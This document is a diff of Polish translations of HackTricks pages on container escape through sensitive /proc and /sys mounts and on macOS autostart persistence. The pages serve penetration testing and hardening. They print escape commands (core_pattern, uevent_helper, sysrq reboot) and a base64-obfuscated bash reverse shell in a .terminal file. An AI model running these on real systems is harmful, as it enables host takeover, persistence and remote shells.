View file

@ -1,149 +1,197 @@
# Wrażliwe montowania
<details>
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów GitHub.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>
Ujawnienie `/proc` i `/sys` bez odpowiedniej izolacji przestrzeni nazw niesie ze sobą znaczne ryzyko bezpieczeństwa, w tym zwiększenie powierzchni ataku i ujawnienie informacji. Te katalogi zawierają wrażliwe pliki, które w przypadku niewłaściwej konfiguracji lub dostępu przez nieuprawnionego użytkownika mogą prowadzić do ucieczki z kontenera, modyfikacji hosta lub dostarczenia informacji ułatwiających dalsze ataki. Na przykład niewłaściwe zamontowanie `-v /proc:/host/proc` może obejść ochronę AppArmor ze względu na swoją ścieżkową naturę, pozostawiając `/host/proc` bez ochrony.
Wystawienie `/proc` i `/sys` bez odpowiedniej izolacji przestrzeni nazw niesie ze sobą znaczne ryzyko bezpieczeństwa, w tym zwiększenie powierzchni ataku i ujawnienie informacji. Te katalogi zawierają wrażliwe pliki, które w przypadku niewłaściwej konfiguracji lub dostępu przez nieuprawnionego użytkownika mogą prowadzić do ucieczki z kontenera, modyfikacji hosta lub dostarczenia informacji ułatwiających dalsze ataki. Na przykład, nieprawidłowe zamontowanie `-v /proc:/host/proc` może obejść ochronę AppArmor ze względu na jej opartą na ścieżce naturę, pozostawiając `/host/proc` bez ochrony.
**Możesz znaleźć dalsze szczegóły dotyczące każdej potencjalnej luki w** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
**Możesz znaleźć dalsze szczegóły dotyczące każdej potencjalnej podatności na stronie [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts).**
## Zagrożenia związane z procfs
# Podatności procfs
### `/proc/sys`
## `/proc/sys`
Ten katalog umożliwia dostęp do modyfikacji zmiennych jądra, zwykle za pomocą `sysctl(2)`, i zawiera kilka podkatalogów, które budzą obawy:
Ten katalog umożliwia dostęp do modyfikacji zmiennych jądra, zazwyczaj za pomocą `sysctl(2)`, i zawiera kilka podkatalogów wymagających uwagi:
#### **`/proc/sys/kernel/core_pattern`**
* Opisany w [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
* Pozwala zdefiniować program do wykonania podczas generowania pliku rdzenia z pierwszymi 128 bajtami jako argumentami. Może to prowadzić do wykonania kodu, jeśli plik zaczyna się od rury `|`.
* **Przykład testowania i eksploatacji**:
### **`/proc/sys/kernel/core_pattern`**
- Opisany w [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
- Pozwala zdefiniować program do wykonania przy generowaniu pliku rdzenia, gdzie pierwsze 128 bajtów stanowi argumenty. Może to prowadzić do wykonania kodu, jeśli plik zaczyna się od rury `|`.
- **Przykład testowania i eksploatacji**:
```bash
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Sprawdź dostęp do zapisu
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test dostępu do zapisu
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Ustaw niestandardowy obsługiwacz
sleep 5 && ./crash & # Wywołaj obsługiwacz
echo "|$overlay/shell.sh" > core_pattern # Ustawianie niestandardowego obsługującego
sleep 5 && ./crash & # Wywołanie obsługującego
```
### **`/proc/sys/kernel/modprobe`**
- Szczegółowo opisany w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Zawiera ścieżkę do ładowacza modułów jądra, wywoływanego do ładowania modułów jądra.
- **Przykład sprawdzania dostępu**:
#### **`/proc/sys/kernel/modprobe`**
* Szczegóły w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
* Zawiera ścieżkę do ładowacza modułów jądra, wywoływanego do ładowania modułów jądra.
* **Przykład sprawdzania dostępu**:
```bash
ls -l $(cat /proc/sys/kernel/modprobe) # Sprawdź dostęp do modprobe
```
### **`/proc/sys/vm/panic_on_oom`**
- Wzmiankowany w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Globalna flaga kontrolująca, czy jądro wpada w panikę czy wywołuje OOM killer, gdy wystąpi warunek OOM.
#### **`/proc/sys/vm/panic_on_oom`**
### **`/proc/sys/fs`**
- Zgodnie z [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), zawiera opcje i informacje dotyczące systemu plików.
- Dostęp do zapisu może umożliwić różne ataki typu odmowa usługi przeciwko hostowi.
* Odniesienie w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
* Globalna flaga kontrolująca, czy jądro wpada w panikę czy wywołuje zabójcę OOM, gdy wystąpi warunek OOM.
### **`/proc/sys/fs/binfmt_misc`**
- Umożliwia rejestrację interpreterów dla formatów binarnych niezgodnych z natywnym na podstawie ich magicznej liczby.
- Może prowadzić do eskalacji uprawnień lub dostępu do powłoki roota, jeśli `/proc/sys/fs/binfmt_misc/register` jest zapisywalny.
- Odpowiedni exploit i wyjaśnienie:
- [Rootkit dla biednych za pomocą binfmt_misc](https://github.com/toffan/binfmt_misc)
- Szczegółowy samouczek: [Link do wideo](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
#### **`/proc/sys/fs`**
## Inne w `/proc`
* Zgodnie z [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), zawiera opcje i informacje o systemie plików.
* Dostęp do zapisu może umożliwić różne ataki typu odmowa usługi przeciwko hostowi.
### **`/proc/config.gz`**
- Może ujawnić konfigurację jądra, jeśli `CONFIG_IKCONFIG_PROC` jest włączone.
- Przydatne dla atakujących do identyfikacji podatności w działającym jądrze.
#### **`/proc/sys/fs/binfmt_misc`**
* Umożliwia rejestrację interpretów dla formatów binarnych nie-natywnych na podstawie ich numeru magicznego.
* Może prowadzić do eskalacji uprawnień lub uzyskania dostępu do powłoki root, jeśli `/proc/sys/fs/binfmt_misc/register` jest zapisywalny.
* Związany exploit i wyjaśnienie:
* [Rootkit dla biednych poprzez binfmt\_misc](https://github.com/toffan/binfmt\_misc)
* Wideo tutorial: [Link do wideo](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
### Inne w `/proc`
#### **`/proc/config.gz`**
* Może ujawnić konfigurację jądra, jeśli `CONFIG_IKCONFIG_PROC` jest włączony.
* Przydatne dla atakujących do identyfikacji podatności w działającym jądrze.
#### **`/proc/sysrq-trigger`**
* Umożliwia wywoływanie poleceń Sysrq, potencjalnie powodując natychmiastowe ponowne uruchomienia systemu lub inne krytyczne działania.
* **Przykład ponownego uruchamiania hosta**:
### **`/proc/sysrq-trigger`**
- Umożliwia wywoływanie poleceń Sysrq, potencjalnie powodując natychmiastowe ponowne uruchomienie systemu lub inne krytyczne działania.
- **Przykład ponownego uruchamiania hosta**:
```bash
echo b > /proc/sysrq-trigger # Ponowne uruchomienie hosta
```
### **`/proc/kmsg`**
- Ujawnia komunikaty z bufora pierścieniowego jądra.
- Może pomóc w atakach na jądro, wyciekach adresów i dostarczaniu wrażliwych informacji systemowych.
#### **`/proc/kmsg`**
### **`/proc/kallsyms`**
- Wyświetla eksportowane symbole jądra i ich adresy.
- Niezbędne do rozwoju exploitów jądra, zwłaszcza do pokonania KASLR.
- Informacje o adresie są ograniczone, gdy `kptr_restrict` jest ustawione na `1` lub `2`.
- Szczegóły w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
* Ujawnia komunikaty z bufora pierścieniowego jądra.
* Może pomóc w eksploatacji jądra, wyciekach adresów i dostarczaniu wrażliwych informacji systemowych.
### **`/proc/[pid]/mem`**
- Interfejsuje się z urządzeniem pamięci jądra `/dev/mem`.
- Historycznie podatny na ataki eskalacji uprawnień.
- Więcej informacji na temat [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
#### **`/proc/kallsyms`**
### **`/proc/kcore`**
- Reprezentuje fizyczną pamięć systemu w formacie ELF core.
- Odczyt może ujawniać zawartość pamięci hosta i innych kontenerów.
- Duży rozmiar pliku może prowadzić do problemów z odczytem lub awarii oprogramowania.
- Szczegółowe informacje na temat użycia w [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
* Wyświetla eksportowane symbole jądra i ich adresy.
* Istotne dla rozwoju eksploitów jądra, zwłaszcza do pokonywania KASLR.
* Informacje o adresie są ograniczone, gdy `kptr_restrict` jest ustawione na `1` lub `2`.
* Szczegóły w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
### **`/proc/kmem`**
- Alternatywny interfejs dla `/dev/kmem`, reprezentujący wirtualną pamięć jądra.
- Umożliwia odczyt i zapis, a więc bezpośrednią modyfikację pamięci jądra.
#### **`/proc/[pid]/mem`**
### **`/proc/mem`**
- Alternatywny interfejs dla `/dev/mem`, reprezentujący pamięć fizyczną.
- Umożliwia odczyt i zapis, modyfikacja całej pamięci wymaga przeliczenia adresów wirtualnych na fizyczne.
* Interfejsuje z urządzeniem pamięci jądra `/dev/mem`.
* Historycznie podatny na ataki eskalacji uprawnień.
* Więcej na temat [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
### **`/proc/sched_debug`**
- Zwraca informacje o harmonogramowaniu procesów, omijając ochrony przestrzeni nazw PID.
- Ujawnia nazwy procesów, identyfikatory i identyfikatory grupy kontrolnej.
#### **`/proc/kcore`**
### **`/proc/[pid]/mountinfo`**
- Udostępnia informacje o punktach montowania w przestrzeni nazw montowania procesu.
- Ujawnia lokalizację `rootfs` lub obrazu kontenera.
* Reprezentuje pamięć fizyczną systemu w formacie rdzenia ELF.
* Odczytanie może ujawnić zawartość pamięci hosta i innych kontenerów.
* Duży rozmiar pliku może prowadzić do problemów z odczytem lub awarii oprogramowania.
* Szczegółowe użycie w [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
# Podatności w `/sys`
#### **`/proc/kmem`**
### **`/sys/kernel/ue
### **`/sys/class/thermal`**
- Kontroluje ustawienia temperatury, potencjalnie powodując ataki typu DoS lub fizyczne uszkodzenia.
* Alternatywny interfejs dla `/dev/kmem`, reprezentujący pamięć wirtualną jądra.
* Umożliwia odczytywanie i zapisywanie, co umożliwia bezpośrednią modyfikację pamięci jądra.
### **`/sys/kernel/vmcoreinfo`**
- Wycieka adresy jądra, potencjalnie kompromitując KASLR.
#### **`/proc/mem`**
### **`/sys/kernel/security`**
- Zawiera interfejs `securityfs`, umożliwiający konfigurację modułów zabezpieczeń Linuxa, takich jak AppArmor.
- Dostęp może umożliwić kontenerowi wyłączenie systemu MAC.
* Alternatywny interfejs dla `/dev/mem`, reprezentujący pamięć fizyczną.
* Umożliwia odczytywanie i zapisywanie, modyfikacja całej pamięci wymaga przekształcenia adresów wirtualnych na fizyczne.
### **`/sys/firmware/efi/vars` i `/sys/firmware/efi/efivars`**
- Udostępnia interfejsy do interakcji z zmiennymi EFI w NVRAM.
- Niewłaściwa konfiguracja lub wykorzystanie może spowodować zablokowanie laptopów lub niemożność uruchomienia hosta.
#### **`/proc/sched_debug`**
### **`/sys/kernel/debug`**
- `debugfs` oferuje interfejs do debugowania jądra bez żadnych ograniczeń.
- Historia problemów związanych z bezpieczeństwem związana z jego nieograniczoną naturą.
* Zwraca informacje o harmonogramowaniu procesów, omijając zabezpieczenia przestrzeni nazw PID.
* Ujawnia nazwy procesów, identyfikatory PID i grupy cgroup.
#### **`/proc/[pid]/mountinfo`**
* Udostępnia informacje o punktach montowania w przestrzeni nazw montowania procesu.
* Ujawnia lokalizację `rootfs` kontenera lub obrazu.
### Zagrożenia związane z `/sys`
#### **`/sys/kernel/uevent_helper`**
* Używany do obsługi `uevent` urządzenia jądra.
* Zapisywanie do `/sys/kernel/uevent_helper` może uruchamiać arbitralne skrypty po wyzwaleniu `uevent`.
* **Przykład eksploatacji**: %%%bash
## Tworzy ładunek
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
## Znajduje ścieżkę hosta z montowania OverlayFS dla kontenera
host\_path=$(sed -n 's/._\perdir=(\[^,]_).\*/\1/p' /etc/mtab)
## Ustawia uevent\_helper na złośliwego pomocnika
echo "$host\_path/evil-helper" > /sys/kernel/uevent\_helper
## Wywołuje uevent
echo change > /sys/class/mem/null/uevent
## Odczytuje wynik
cat /output %%%
#### **`/sys/class/thermal`**
* Kontroluje ustawienia temperatury, potencjalnie powodując ataki typu DoS lub fizyczne uszkodzenia.
#### **`/sys/kernel/vmcoreinfo`**
* Wycieka adresy jądra, potencjalnie kompromitując KASLR.
#### **`/sys/kernel/security`**
* Zawiera interfejs `securityfs`, umożliwiający konfigurację modułów bezpieczeństwa Linuxa, takich jak AppArmor.
* Dostęp może umożliwić kontenerowi wyłączenie jego systemu MAC.
#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`**
* Ujawnia interfejsy do interakcji z zmiennymi EFI w NVRAM.
* Niewłaściwa konfiguracja lub eksploatacja może prowadzić do zablokowania laptopów lub niemożliwości uruchomienia hosta.
#### **`/sys/kernel/debug`**
* `debugfs` oferuje interfejs debugowania "bez zasad" do jądra.
* Historia problemów związanych z bezpieczeństwem związana z jego nieograniczonym charakterem.
### References
## References
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
* [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
* [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi trikami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,31 +1,31 @@
# Automatyczne uruchamianie w macOS
# macOS Auto Start
<details>
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
Ta sekcja opiera się głównie na serii blogów [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/), celem jest dodanie **więcej lokalizacji autostartu** (jeśli to możliwe), wskazanie **które techniki wciąż działają** obecnie z najnowszą wersją macOS (13.4) oraz określenie **uprawnień** wymaganych.
Ta sekcja opiera się głównie na serii blogów [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/), celem jest dodanie **więcej lokalizacji autostartu** (jeśli to możliwe), wskazanie **które techniki wciąż działają** obecnie z najnowszą wersją macOS (13.4) i określenie **uprawnień** wymaganych.
## Ominięcie piaskownicy
## Omijanie piaskownicy
{% hint style="success" %}
Tutaj znajdziesz lokalizacje startowe przydatne do **ominięcia piaskownicy**, które pozwalają po prostu uruchomić coś, **zapisując to do pliku** i **czekając** na bardzo **powszechne** **działanie**, określoną **ilość czasu** lub **działanie, które zazwyczaj można wykonać** z wnętrza piaskownicy bez konieczności posiadania uprawnień root.
Tutaj znajdziesz lokalizacje startowe przydatne do **omijania piaskownicy**, które pozwalają Ci po prostu uruchomić coś, **zapisując to do pliku** i **czekając** na bardzo **czynność** **powszechną**, określoną **ilość czasu** lub **czynność, którą zazwyczaj można wykonać** z wnętrza piaskownicy bez konieczności posiadania uprawnień root.
{% endhint %}
### Launchd
* Przydatne do ominięcia piaskownicy: [](https://emojipedia.org/check-mark-button)
* Ominięcie TCC: [🔴](https://emojipedia.org/large-red-circle)
* Przydatne do omijania piaskownicy: [](https://emojipedia.org/check-mark-button)
* Omijanie TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Lokalizacje
@ -48,7 +48,7 @@ Tutaj znajdziesz lokalizacje startowe przydatne do **ominięcia piaskownicy**, k
#### Opis i Wykorzystanie
**`launchd`** to **pierwszy** **proces** uruchamiany przez jądro OX S podczas uruchamiania i ostatni, który kończy działanie podczas wyłączania. Zawsze powinien mieć **PID 1**. Ten proces będzie **czytał i wykonywał** konfiguracje wskazane w **plikach ASEP** w:
**`launchd`** to **pierwszy** **proces** uruchamiany przez jądro OX S podczas uruchamiania systemu i ostatni, który kończy działanie podczas wyłączania. Zawsze powinien mieć **PID 1**. Ten proces będzie **czytał i wykonywał** konfiguracje wskazane w **plikach ASEP** w:
* `/Library/LaunchAgents`: Agenci dla użytkownika zainstalowani przez administratora
* `/Library/LaunchDaemons`: Demony systemowe zainstalowane przez administratora
@ -80,13 +80,13 @@ Gdy użytkownik loguje się, pliki plist znajdujące się w `/Users/$USER/Librar
</dict>
</plist>
```
Istnieją przypadki, w których **agent musi zostać uruchomiony przed zalogowaniem użytkownika**, nazywane **PreLoginAgents**. Na przykład jest to przydatne do zapewnienia technologii wspomagającej podczas logowania. Mogą one być również znalezione w `/Library/LaunchAgents` (zobacz [**tutaj**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) przykład).
Istnieją przypadki, w których **agent musi zostać uruchomiony przed zalogowaniem użytkownika**, nazywane **PreLoginAgents**. Na przykład jest to przydatne do dostarczania technologii wspomagających podczas logowania. Mogą one być również znalezione w `/Library/LaunchAgents` (zobacz [**tutaj**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) przykład).
{% hint style="info" %}
Nowe pliki konfiguracyjne Daemons lub Agents zostaną **załadowane po następnym ponownym uruchomieniu lub używając** `launchctl load <target.plist>`. Jest **również możliwe załadowanie plików .plist bez tego rozszerzenia** za pomocą `launchctl -F <file>` (jednak te pliki plist nie będą automatycznie ładowane po ponownym uruchomieniu).\
Możliwe jest również **odładowanie** za pomocą `launchctl unload <target.plist>` (proces wskazany przez niego zostanie zakończony).
Aby **upewnić się**, że nie ma **niczego** (jak nadpisanie), **co uniemożliwia uruchomienie** **Agent** lub **Daemon** **uruchom** polecenie: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist`
Aby **upewnić się**, że nie ma **niczego** (jak nadpisanie), **co uniemożliwia uruchomienie** **Agenta** lub **Daemona**, uruchom: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist`
{% endhint %}
Wypisz wszystkie agenty i demony załadowane przez bieżącego użytkownika:
@ -109,24 +109,24 @@ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://the
#### Lokalizacje
* **`~/.zshrc`, `~/.zlogin`, `~/.zshenv.zwc`**, **`~/.zshenv`, `~/.zprofile`**
* **Wywołanie**: Otwórz terminal z zsh
* **Wyzwalacz**: Otwórz terminal z zsh
* **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`**
* **Wywołanie**: Otwórz terminal z zsh
* **Wyzwalacz**: Otwórz terminal z zsh
* Wymagane uprawnienia roota
* **`~/.zlogout`**
* **Wywołanie**: Zamknij terminal z zsh
* **Wyzwalacz**: Zamknij terminal z zsh
* **`/etc/zlogout`**
* **Wywołanie**: Zamknij terminal z zsh
* **Wyzwalacz**: Zamknij terminal z zsh
* Wymagane uprawnienia roota
* Potencjalnie więcej w: **`man zsh`**
* **`~/.bashrc`**
* **Wywołanie**: Otwórz terminal z bash
* **Wyzwalacz**: Otwórz terminal z bash
* `/etc/profile` (nie działało)
* `~/.profile` (nie działało)
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
* **Wywołanie**: Oczekiwane wywołanie z xterm, ale **nie jest zainstalowany** i nawet po zainstalowaniu występuje ten błąd: xterm: `DISPLAY is not set`
* **Wyzwalacz**: Oczekiwano wywołania z xterm, ale **nie jest zainstalowany** i nawet po zainstalowaniu występuje ten błąd: xterm: `DISPLAY is not set`
#### Opis & Wykorzystanie
#### Opis i Wykorzystanie
Podczas inicjowania środowiska powłoki, takiego jak `zsh` lub `bash`, **uruchamiane są określone pliki startowe**. Obecnie macOS używa `/bin/zsh` jako domyślnej powłoki. Ta powłoka jest automatycznie uruchamiana, gdy uruchamiana jest aplikacja Terminal lub gdy urządzenie jest dostępne za pośrednictwem SSH. Chociaż `bash` i `sh` są również obecne w macOS, muszą być jawnie wywoływane, aby być używane.
@ -155,7 +155,7 @@ Konfiguracja wskazanego wykorzystania i wylogowanie się, a następnie ponowne z
Wszystkie aplikacje do ponownego otwarcia znajdują się w pliku plist `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`
Aby sprawić, żeby ponownie otwierane aplikacje uruchamiały Twoją własną, wystarczy **dodać swoją aplikację do listy**.
Aby sprawić, żeby ponownie otwierane aplikacje uruchamiały twoją własną, wystarczy **dodać swoją aplikację do listy**.
UUID można znaleźć, listując ten katalog lub za pomocą `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`
@ -165,7 +165,7 @@ defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
```
Aby **dodać aplikację do tej listy**, możesz użyć:
Aby **dodać aplikację do tej listy**, można użyć:
```bash
# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
@ -184,7 +184,7 @@ Aby **dodać aplikację do tej listy**, możesz użyć:
#### Lokalizacja
* **`~/Library/Preferences/com.apple.Terminal.plist`**
* **Wywołanie**: Otwórz Terminal
* **Wyzwalacz**: Otwórz Terminal
#### Opis i Wykorzystanie
@ -268,7 +268,7 @@ open /tmp/test.terminal
# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>
```
Możesz również użyć rozszerzeń **`.command`**, **`.tool`**, z zwykłą zawartością skryptów powłoki i zostaną one również otwarte przez Terminal.
Możesz również użyć rozszerzeń **`.command`**, **`.tool`**, z zwykłą zawartością skryptów powłoki i zostaną one otwarte przez Terminal.
{% hint style="danger" %}
Jeśli terminal ma **Pełny dostęp do dysku**, będzie w stanie ukończyć tę akcję (zauważ, że wykonane polecenie będzie widoczne w oknie terminala).
@ -287,19 +287,19 @@ Opis: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://pos
* **`/Library/Audio/Plug-Ins/HAL`**
* Wymagane uprawnienia roota
* **Wywołanie**: Zrestartuj coreaudiod lub komputer
* **Wywołanie**: Restart coreaudiod lub komputera
* **`/Library/Audio/Plug-ins/Components`**
* Wymagane uprawnienia roota
* **Wywołanie**: Zrestartuj coreaudiod lub komputer
* **Wywołanie**: Restart coreaudiod lub komputera
* **`~/Library/Audio/Plug-ins/Components`**
* **Wywołanie**: Zrestartuj coreaudiod lub komputer
* **Wywołanie**: Restart coreaudiod lub komputera
* **`/System/Library/Components`**
* Wymagane uprawnienia roota
* **Wywołanie**: Zrestartuj coreaudiod lub komputer
* **Wywołanie**: Restart coreaudiod lub komputera
#### Opis
Zgodnie z poprzednimi opisami możliwe jest **skompilowanie niektórych wtyczek audio** i ich załadowanie.
Zgodnie z poprzednimi opisami możliwe jest **skompilowanie niektórych wtyczek audio** i załadowanie ich.
### Wtyczki QuickLook
@ -314,8 +314,8 @@ Opis: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.git
* `/System/Library/QuickLook`
* `/Library/QuickLook`
* `~/Library/QuickLook`
* `/Applications/NazwaAplikacjiTutaj/Contents/Library/QuickLook/`
* `~/Applications/NazwaAplikacjiTutaj/Contents/Library/QuickLook/`
* `/Applications/AppNameHere/Contents/Library/QuickLook/`
* `~/Applications/AppNameHere/Contents/Library/QuickLook/`
#### Opis i Wykorzystanie
@ -326,7 +326,7 @@ Możesz skompilować własną wtyczkę QuickLook, umieścić ją w jednej z powy
### ~~Haki logowania/wylogowania~~
{% hint style="danger" %}
To nie zadziałało dla mnie, ani z LoginHook użytkownika, ani z LogoutHook roota
To nie zadziałało dla mnie, ani z Hakiem logowania użytkownika, ani z Hakiem wylogowania roota
{% endhint %}
**Opis**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/)
@ -336,7 +336,7 @@ To nie zadziałało dla mnie, ani z LoginHook użytkownika, ani z LogoutHook roo
#### Lokalizacja
* Musisz móc wykonać coś w stylu `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`
* Musisz być w stanie wykonać coś w rodzaju `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`
* Znajduje się w `~/Library/Preferences/com.apple.loginwindow.plist`
